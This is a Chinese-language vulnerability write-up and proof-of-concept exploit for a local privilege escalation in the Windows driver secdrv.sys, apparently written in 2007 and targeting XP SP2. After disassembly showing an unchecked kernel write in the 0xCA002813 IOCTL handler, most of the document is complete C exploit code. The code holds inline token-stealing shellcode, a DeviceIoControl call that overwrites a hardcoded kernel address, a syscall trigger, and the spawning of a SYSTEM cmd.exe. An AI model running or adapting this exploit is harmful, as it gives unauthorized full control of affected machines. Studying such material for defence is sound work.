|
这个内核提权的0day发现有段日子了,此漏洞程序仅供学习使用。
在分析 Windows 各个驱动程序的时候,无意间发现了一个漏洞,该漏洞可以让任意用户提升到SYSTEM权限.该漏洞发生在驱动程序 secdrv.sys 的 IRP_MJ_DEVICE_CONTROL理例程中,因为缺少必要的对必要的参数进行检查,导致可以写任意字节到任意核心内存,导致D.o.S或者权限提升.下面是出现漏洞的代码分析片断:
DISPATCH处理函数
loc_11D60: ; DATA XREF: sub_11AA6+8Bo .text:00011D60 push esi .text:00011D61 mov esi, [esp+0Ch] .text:00011D65 push edi .text:00011D66 xor edi, edi .text:00011D68 mov eax, [esi+60h] .text:00011D6B and dword ptr [esi+18h], 0 .text:00011D6F and dword ptr [esi+1Ch], 0 .text:00011D73 mov al, [eax] .text:00011D75 test al, al .text:00011D77 jz short loc_11D85 .text:00011D77 .text:00011D79 cmp al, 0Eh .text:00011D7B jnz short loc_11D85 .text:00011D7B .text:00011D7D push esi .text:00011D7E call sub_11CD8 ;-> 处理IRP_MJ_DEVICE_CONTROL .text:00011D7E .text:00011D83 mov edi, eax .text:00011D83 .text:00011D85 .text:00011D85 loc_11D85: ; CODE XREF: .text:00011D77j .text:00011D85 ; .text:00011D7Bj .text:00011D85 xor dl, dl .text:00011D87 mov ecx, esi .text:00011D89 call ds:IofCompleteRequest .text:00011D8F mov eax, edi .text:00011D91 pop edi .text:00011D92 pop esi .text:00011D93 retn 8
有问题的函数:
.text:00011CD8 sub_11CD8 proc near ; CODE XREF: .text:00011D7Ep .text:00011CD8 .text:00011CD8 arg_0 = dword ptr 8 .text:00011CD8 .text:00011CD8 push ebx .text:00011CD9 mov ebx, [esp+arg_0] .text:00011CDD push ebp .text:00011CDE push esi .text:00011CDF mov eax, [ebx+60h] .text:00011CE2 push edi .text:00011CE3 cmp dword ptr [eax+0Ch], 0CA002813h .text:00011CEA jz short loc_11D07 ; -> 处理 0CA002813H 控制字 .text:00011CEA .text:00011CEC mov eax, dword_12364 .text:00011CF1 xor edi, edi .text:00011CF3 cmp eax, edi .text:00011CF5 jnz short loc_11CFE .text:00011CF5 .text:00011CF7 mov eax, 0C0000010h .text:00011CFC jmp short loc_11D39 .text:00011CFC .text:00011CFE ; --------------------------------------------------------------------------- .text:00011CFE .text:00011CFE loc_11CFE: ; CODE XREF: sub_11CD8+1Dj .text:00011CFE lea ecx, [ebx+18h] .text:00011D01 push ecx .text:00011D02 push ebx .text:00011D03 call eax .text:00011D05 jmp short loc_11D59 .text:00011D05 .text:00011D07 ; --------------------------------------------------------------------------- .text:00011D07 .text:00011D07 loc_11D07: ; CODE XREF: sub_11CD8+12j .text:00011D07 xor edi, edi .text:00011D09 mov [ebx+18h], edi .text:00011D0C mov [ebx+1Ch], edi .text:00011D0F mov ebp, [eax+4] .text:00011D12 mov esi, [eax+10h] .text:00011D15 cmp [eax+8], ebp .text:00011D18 jnz short loc_11D34 .text:00011D18 .text:00011D1A push dword ptr [esi+0Ch] .text:00011D1D lea eax, [esi+10h] .text:00011D20 push eax .text:00011D21 mov eax, dword_12358 .text:00011D26 push eax .text:00011D27 push dword ptr [esi+4] .text:00011D2A push dword ptr [esi] .text:00011D2C call dword ptr [eax+10h] ; -> 该函数中没有检查输入输出 .text:00011D2F cmp eax, 0Ah .text:00011D32 jz short loc_11D41 ; -> 如果函数返回 0Ah 那么进行拷贝 .text:00011D32 .text:00011D34 .text:00011D34 loc_11D34: ; CODE XREF: sub_11CD8+40j .text:00011D34 mov eax, 0C0000001h .text:00011D34 .text:00011D39 .text:00011D39 loc_11D39: ; CODE XREF: sub_11CD8+24j .text:00011D39 mov [ebx+18h], eax .text:00011D3C mov [ebx+1Ch], edi .text:00011D3F jmp short loc_11D59 .text:00011D3F .text:00011D41 ; --------------------------------------------------------------------------- .text:00011D41 .text:00011D41 loc_11D41: ; CODE XREF: sub_11CD8+5Aj .text:00011D41 mov edi, [ebx+3Ch] ; -> 在此之前没有对UserBuffer进行检查,直接复制数据到UserBuffer .text:00011D44 mov ecx, ebp .text:00011D46 mov eax, ecx .text:00011D48 shr ecx, 2 .text:00011D4B rep movsd .text:00011D4D mov ecx, eax .text:00011D4F and ecx, 3 .text:00011D52 xor eax, eax .text:00011D54 rep movsb .text:00011D56 mov [ebx+1Ch], ebp .text:00011D56 .text:00011D59 .text:00011D59 loc_11D59: ; CODE XREF: sub_11CD8+2Dj .text:00011D59 ; sub_11CD8+67j .text:00011D59 pop edi .text:00011D5A pop esi .text:00011D5B pop ebp .text:00011D5C pop ebx .text:00011D5D retn 4 .text:00011D5D .text:00011D5D sub_11CD8 endp
看完漏洞代码的片断后,我们知道这个漏洞其实非常好利用
利用方法1:
和之前的Symtdi.sys的提权漏洞一样,去 HOOK 一个不常用的系统调用,然后我们自己出发系统调用,来使系统运行我们的特权代码
利用方法2:
由于没有写入的数据限制,我们可以直接在GDT中添加调用门,或者在 HOOK IDT中的中断处理例程 (要注意多CPU的情况)
#include <stdio.h> #include <windows.h>
#pragma comment (lib, "ntdll.lib")
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef struct _IMAGE_FIXUP_ENTRY {
WORD offset:12; WORD type:4; } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef struct _UNICODE_STRING {
USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation=11, } SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
NTSTATUS (NTAPI *NtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG AllocationSize, IN ULONG AllocationType, IN ULONG Protect );
VOID SetShellCodeToMemory( PVOID ShellCodeMemory ) { OSVERSIONINFOEX OsVersionInfo;
RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) ); OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
if ( OsVersionInfo.dwMajorVersion != 5 ) {
printf( "Not NT5 system\n" ); ExitProcess( 0 ); return; }
if ( OsVersionInfo.dwMinorVersion == 1 ) { __asm {
call CopyXpShellCode
nop nop nop nop nop nop
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode) mov eax,[eax]
mov esi,[eax+0x220] mov eax,esi
searchXp:
mov eax,[eax+0x88] sub eax,0x88 mov edx,[eax+0x84] cmp edx,0x4 // Find System Process jne searchXp
mov eax,[eax+0xc8] // 获取system进程的token mov [esi+0xc8],eax // 修改当前进程的token
ret 8 CopyXpShellCode: pop esi mov edi, ShellCodeMemory lea ecx, CopyXpShellCode sub ecx, esi cld rep movsb } }
}
int main(int argc, char* argv[]) { NTSTATUS status; PVOID ZwVdmControl = NULL; DWORD HookAddress = 0x804E3AD8; // test by xp sp2 PVOID ShellCodeMemory = (PVOID)0x200; DWORD MemorySize = 0x1000;
HANDLE deviceHandle; DWORD dwReturnSize = 0;
SC_HANDLE hscmHandle = NULL; SC_HANDLE hscDriver = NULL;
PROCESS_INFORMATION pi; STARTUPINFOA stStartup; PVOID InputBuffer = NULL;
printf( "\tWindows Local Privilege Escalation Vulnerability Exploit 0day (POC)\n" ); printf( "Create by Whitecell's Polymorphours@whitecell.org 2007/04/15\n" ); printf( "TEST OS: WINDOWS XP SP2\n" );
printf( "[*] Connect SCM ... " );
hscmHandle = OpenSCManager ( NULL, NULL, GENERIC_READ | SERVICE_START ); if ( NULL == hscmHandle ) { printf( "failed, code: %d\n", GetLastError() ); return 0; }
printf( "success!!\n" ); printf( "[*] Open services ... " );
hscDriver = OpenService( hscmHandle, "secdrv", GENERIC_READ | SERVICE_START ); if ( NULL == hscDriver ) { printf( "failed, code: %d\n", GetLastError() ); CloseServiceHandle ( hscmHandle ); return 0; }
printf( "success!!\n" ); printf( "[*] Start services ... " );
// // 启动secdrv驱动 //
if ( !StartService( hscDriver, 0, NULL ) ) { if ( ERROR_SERVICE_ALREADY_RUNNING != GetLastError() ) {
printf( "failed, code: %d\n", GetLastError() ); CloseServiceHandle ( hscDriver ); CloseServiceHandle ( hscmHandle ); return 0; } }
printf( "success!!\n" );
CloseServiceHandle ( hscDriver ); CloseServiceHandle ( hscmHandle );
NtAllocateVirtualMemory = (long (__stdcall *)(void *,void ** ,unsigned long,unsigned long *,unsigned long,unsigned
long))GetProcAddress( LoadLibrary("ntdll.dll"), "NtAllocateVirtualMemory" ); if ( NtAllocateVirtualMemory == NULL ) { printf( "GetProcAddress failed, code: %d\n" ); return 0; }
ZwVdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
printf( "[*] Create execute environment ... " );
status = NtAllocateVirtualMemory( (HANDLE)-1, &ShellCodeMemory, 0, &MemorySize, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ); if ( status != STATUS_SUCCESS ) { printf( "failed!\n[-] NtAllocateVirtualMemory failed, status: %08X\n", status ); return 0; }
printf( "Ok!\n" );
// // 初始化 ShellCode //
memset( ShellCodeMemory, 0x90, MemorySize ); SetShellCodeToMemory( (PVOID)((DWORD)ShellCodeMemory + 0x200) );
deviceHandle = CreateFile("\\\\.\\secdrv", 0, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if ( INVALID_HANDLE_VALUE == deviceHandle ) { printf( "[-] Open device failed, code: %d\n", GetLastError() ); return 0; } else { printf( "[*] Open device success\n" ); }
InputBuffer = LocalAlloc( LPTR, 0x1000 );
*(PDWORD)InputBuffer = 0x1; *(PDWORD)((DWORD)InputBuffer + 0x4) = 0x96;
DeviceIoControl( deviceHandle, 0xca002813, InputBuffer, 4, (PVOID)HookAddress, 4, &dwReturnSize, NULL );
CloseHandle( deviceHandle );
printf( "[*] call shellcode ... " );
_asm { xor ecx,ecx push ecx push ecx mov eax, ZwVdmControl call eax }
printf( "Done.\n" ); printf( "[*] Create New Process\n" );
GetStartupInfo( &stStartup );
CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, NULL, NULL, NULL, &stStartup, &pi );
最后感谢大家对本文的关注。
|